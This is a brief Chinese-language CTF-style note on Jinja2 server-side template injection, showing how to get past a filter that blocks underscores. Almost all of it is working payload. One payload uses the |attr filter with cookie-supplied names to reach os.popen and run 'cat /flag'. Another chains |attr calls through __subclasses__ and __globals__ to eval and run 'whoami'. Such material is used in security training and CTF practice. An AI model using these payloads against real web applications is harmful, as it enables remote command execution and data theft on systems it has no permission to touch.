EXP
此处过滤了下划线,使用attr方法绕过
attr方法:request|attr(request.cookies.a)等价于request[“a”]
payload
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
cookies
a=__globals__;b=cat /flag
|attr()绕过
|attr()为jinja2原生函数,是一个过滤器,它只查找属性获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割.
?name={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}} |